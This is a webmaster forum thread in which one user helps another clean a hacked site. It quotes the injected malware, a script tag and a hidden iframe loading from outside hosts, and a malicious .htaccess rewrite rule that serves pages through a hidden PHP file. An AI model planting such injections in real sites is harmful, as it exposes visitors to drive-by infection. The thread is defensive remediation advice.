by redleg
4 months ago

The hack in your site is this code

<scr ipt src=http://spielwaren-carl-loebner . de/shop/team.php ></script><body><ifr ame frameborder="0" onload="if (!this.src){ this.src='http://mozgilla.ru:8080/index.php'; this.height='0'; this.width='0';}" >klsgawbozfesywooikgbcetdnwaubys</ifr ame> [spaces added]

It looks like it is showing up in almost all of your pages right after the </head> tag. If you do not see it in the source code it is being injected by script. It shows up in 74 pages in all.

Do a scan of your PC and make sure there are no Trojans/viruses capturing your ids/passwords, change ALL passwords especiallly FTP, it is likely your passwords have been compromised. Never store/save your passwords in your FTP client, use secure FTP if available.

Once the site is secure and clean you need to submit a request for review in you Google WMT account to have the warning removed. If you have not verified ownership of the site you will have to do so first. The following reference explains the procedure.

http://sites.google.com/site/webmasterhelpforum/en/faq-malware-and-hacked-sites

by PeterJ
4 months ago

Thank you very much.
What do you mean by “injected by script”. On my source code I do not see anything.
Peter

by redleg
4 months ago

If you do not see it in the actual source code for your pages it is being added to the pages at the time they are requested. A likely source is a file named .htaccess Check to see if there is a file named .htaccess in your root directory. If it is there check the contents for some lines like

<ifmodule>

RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.xxxxx.php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml) \.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]

</ifmodule>
by PeterJ
4 months ago

Thanks for the advice. I searched my root directory for .htaccess but no luck.
Not sure what to do next.
Regards
Peter

by redleg
4 months ago

How do you construct you pages?? Are you using SQL??

The code is being inserted between the </head> and <body> tags, like so

</head> <script·src=http://spielwaren-carl-loebner.de/shop/team.php·></sc ript><body>

by PeterJ
4 months ago

Dear Redleg
I found the bastard (initially I was not looking at my remote server) and deleted it from all my pages.
Thank you very much for your help, much appreciated.
Regards
Peter